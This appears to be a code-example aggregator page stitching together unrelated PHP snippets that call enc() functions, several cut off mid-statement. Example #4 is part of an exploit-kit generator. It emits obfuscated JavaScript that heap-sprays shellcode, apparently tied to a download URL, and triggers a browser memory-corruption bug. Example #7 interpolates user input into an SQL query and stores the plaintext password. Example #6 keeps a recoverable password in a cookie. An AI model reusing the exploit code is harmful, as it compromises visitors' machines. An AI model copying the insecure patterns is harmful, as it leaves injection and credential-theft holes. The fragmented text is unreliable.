Exemple #1
1
function simple($s)
{
    $s = strtolower($s);
    $s = str_replace("'", "_", $s);
    $pos = strpos($s, '(');
    if ($pos !== FALSE) {
        $s = substr($s, 0, $pos);
        $s = trim($s);
    }
    $s = str_replace(" ", "_", $s);
    $s = replace_accents($s);
    return enc($s);
}
Exemple #2
0
function dec($text)
{
    global $cfg, $input_charset;
    return mb_convert_encoding($text, $cfg['output-charset'], $input_charset);
}
function enc($text)
{
    global $cfg;
    return mb_encode_mimeheader($text, $cfg['output-charset'], $cfg['scheme']);
    // iconv_mime_encode() encodes twice!!
}
// *** Fin de la petite cuisine ***
// *** Paramètres d'envoi du mail ***
$destinataire = "Formulaire Intégration Web Call Back <*****@*****.**>";
// *** Mise en forme du mail ***
$objet = "Contact Linkapi";
$msg .= "\n";
$msg .= "Bonjour,\r\n\n\r\nUne demande de contact venant de linkapi.fr concernant le" . $votre_demande . "\r\n\n\r\nNom : " . $nom_prenom . "\n\r\nMessage: " . $votre_message . "\n\r\n\n\r\nBonne journée,\r\nLinkapi - Service technique";
$hdr = "MIME-Version: 1.0\r\n";
$hdr .= "Content-type: text/plain; charset=" . $cfg['output-charset'] . "\r\n";
$hdr .= "From: " . enc("Linkeo.com - Ne pas répondre ") . "<*****@*****.**>\r\n";
$ok = false;
// Champ obligatoire pour que l envoi soit Ok
if (!empty($votre_demande)) {
    $ok = mail($destinataire, enc($objet), $msg, $hdr);
}
/*** La réponse JSON est à interpréter en AJAX ****/
if (!headers_sent()) {
    header('Content-Type: application/json');
}
echo json_encode(array('success' => $ok ? true : false, 'votre_demande' => $votre_demande, 'nom_prenom' => $nom_prenom, 'votre_message' => $votre_message));
                    <a href="<?php 
        echo $product->clickUrl;
        ?>
">
                        <img src="<?php 
        echo $product->image->sizes->XLarge->url;
        ?>
"/>
                    </a>
                </td>
            </tr>
            <tr>
                <td>
                    <div class="prodDesc">
                        <?php 
        echo enc($product->name);
        ?>
                    </div>
                </td>
            </tr>
            <tr>
                <td>
                    <?php 
        if (isset($product->salePrice)) {
            ?>
                        <span class="strike">$<?php 
            echo money_format('%i', $product->price);
            ?>
</span>
                        <span class="salePrice">$<?php 
            echo money_format('%i', $product->salePrice);
Exemple #4
0
}';
echo enc($root);
echo '
function ' . $randomStr[3] . '(){
	if(' . $randomStr[40] . '()){
	var ' . $randomStr[4] . ';
	var ' . $randomStr[50] . ' = "' . $randomStr[15] . '9a9a' . $randomStr[15] . '9a9a".replace(/' . $randomStr[15] . '/g,"%u").replace(/a/g,\'c\').replace(/9/g,\'0\');
	var ' . $randomStr[45] . ' = "' . $GLOBALS['cpXplHelper']->GetJSShellcode($strUrl, $randomStr[41]) . '".replace(/' . $randomStr[41] . '/g,"Au".replace(/A/g,"B").replace(/B/g,unescape("%25")));
	var ' . $randomStr[7] . '= unescape(' . $randomStr[50] . ');
	var ' . $randomStr[6] . '= unescape(' . $randomStr[45] . ');';
$root = 'var ' . $randomStr[8] . '=528384-' . $randomStr[6] . '.length*2;';
echo $root;
echo '
	while(' . $randomStr[7] . '.length <= ' . $randomStr[8] . ') ' . $randomStr[7] . '+=' . $randomStr[7] . ';';
$root = '
	' . $randomStr[7] . '=' . $randomStr[7] . '.substring(0,' . $randomStr[8] . ' - ' . $randomStr[6] . '.length);
	';
echo enc($root);
echo '
	' . $randomStr[4] . '=new Array();
	for(i=0;i<0x100;i++){
		' . $randomStr[4] . '[i]=' . $randomStr[7] . ' + ' . $randomStr[6] . ';
	}
	CollectGarbage();
	document.getElementById(\'' . $randomStr[0] . '\').onclick();
	}
}
if(' . $randomStr[40] . '()){
	' . $randomStrFunc[0] . '();
}';
echo '</script>';
            $type = 'video/mp4';
        } elseif (preg_match('/\\.(wmv|avi)$/i', $url)) {
            $type = 'video/x-msvideo';
        }
        $item['mimetype'] = $type;
        $item['pubdate'] = formatTimestamp($content->getVar('mtime'), 'rss');
        $tpl->assign('items', array($item));
        $tpl->assign('builddate', formatTimestamp(time(), 'rss'));
    }
    $tpl->template_dir = XOOPS_ROOT_PATH . "/modules/{$mydirname}/templates";
    echo enc($tpl->fetch('db:medialinks_rss.xml', $cache_id), 'UTF-8');
} elseif (preg_match('/\\.(avi|wmv)$/i', $url)) {
    $tpl->assign('url', $url);
    $tpl->assign('mydirname', $mydirname);
    $tpl->assign('title', $name);
    $tpl->assign('mid', $mid);
    header("Content-Type: video/x-ms-asf; charset=Shift_JIS");
    header("Content-Disposition:attachment;filename=\"{$mydirname}.asx\"");
    header("Cache-Control: public");
    header("Pragma: public");
    echo enc($tpl->fetch('db:medialinks_track.asx'));
} elseif (preg_match('/\\.mov$/i', $url)) {
    $tpl->assign('url', $url);
    header("Content-Type: application/x-quicktimeplayer");
    header("Content-Disposition:attachment;filename=\"{$mydirname}.qtl\"");
    header("Cache-Control: public");
    header("Pragma: public");
    echo enc($tpl->fetch('db:medialinks_track.qtl'), 'UTF-8');
} else {
    header("Location: " . $url);
}
Exemple #6
0
        echo "<tr><th>User</th>";
        echo "<td><input type=text name=username /></td></tr>";
        echo "<tr><th>Password</th>";
        echo "<td><input type=password name=pass /></td></tr>";
        echo "</table>";
        echo "<input type=submit name=login value=Login />";
        echo "</form>";
    } else {
        $user = $_REQUEST['username'];
        $pass = $_REQUEST['pass'];
        $mb = imap_open($server, $user, $pass);
        if (!$mb) {
            echo "Login failed. ";
            echo "<a href=index.php>Retry</a>";
        } else {
            $block = enc($user, $pass, $iv);
            setcookie("minimap-user", $user);
            setcookie("minimap-session", $block);
            header("Location: index.php");
        }
    }
    return;
}
$user = $_COOKIE["minimap-user"];
$pass = dec($user, $_COOKIE['minimap-session'], $iv);
$mb = imap_open($server, $user, $pass);
if (isset($_REQUEST['attach'])) {
    $mb = imap_open($server . $_REQUEST['mbox'], $user, $pass);
    stream_attachment($mb, $_REQUEST['num'], $_REQUEST['sub'], base64_decode($_REQUEST['fname']));
    return;
}
Exemple #7
0
            $errflag = true;
        }
        @mysql_free_result($result1);
    } else {
        die("Query failed, couldn't verify duplicate username on the database");
    }
}
//If there are input validations, redirect back to the registration form
if ($errflag) {
    $_SESSION['ERRMSG_ARR'] = $errmsg_arr;
    session_write_close();
    header("location: _signup.php");
    exit;
}
//encrypt password
$encpass = enc($password1);
//date
$today = date("Y-m-d");
//others
$cat = 'regular';
//Create INSERT query
$qry2 = "INSERT INTO users (eName, gender,country,eType,password,userName,email,datein,lastedit,cat) VALUES ('{$eName}', '{$gender}','{$country}','{$eType}', '{$password1}','{$userName}', '{$email}','{$today}','{$today}','{$cat}')";
//$result = @mysql_query($qry);
$result2 = $connector->query($qry2);
//Check whether the query was successful or not
if ($result2) {
    $errmsg_arr[] = 'You Have Successfully Registered, You can now log-in';
    $errflag = true;
    if ($errflag) {
        $_SESSION['ERRMSG_ARR'] = $errmsg_arr;
        session_write_close();
Exemple #8
0
/*
	pos_one:
  		id: 1
  		civilisation_id: 1
  		evolution_id: 1
	*/
$posId = 1;
$poss = array();
for ($civ = 2; $civ < count($data); $civ++) {
    $civ_name = $data[$civ][1];
    $civ_id = $data[$civ][0];
    if ($html) {
        echo "<h1>{$civ_name} ({$civ_id})</h1>";
    }
    for ($unit = 2; $unit < count($data[0]); $unit++) {
        $unit_name = $data[1][$unit];
        $unit_id = $data[0][$unit];
        $ok = $data[$civ][$unit];
        $color = $ok ? "blue" : "red";
        if ($html) {
            echo "<p><span style=\"color:" . $color . "\">" . enc($unit_name) . " ({$unit_id})" . "</span></p>\n";
        }
        if ($ok) {
            $poss[simple($civ_name) . "__" . simple($unit_name)] = array("id" => $posId, "civilisation_id" => $civ_id, "evolution_id" => $unit_id);
            $posId++;
        }
    }
    if ($html) {
        echo "<br><br>";
    }
}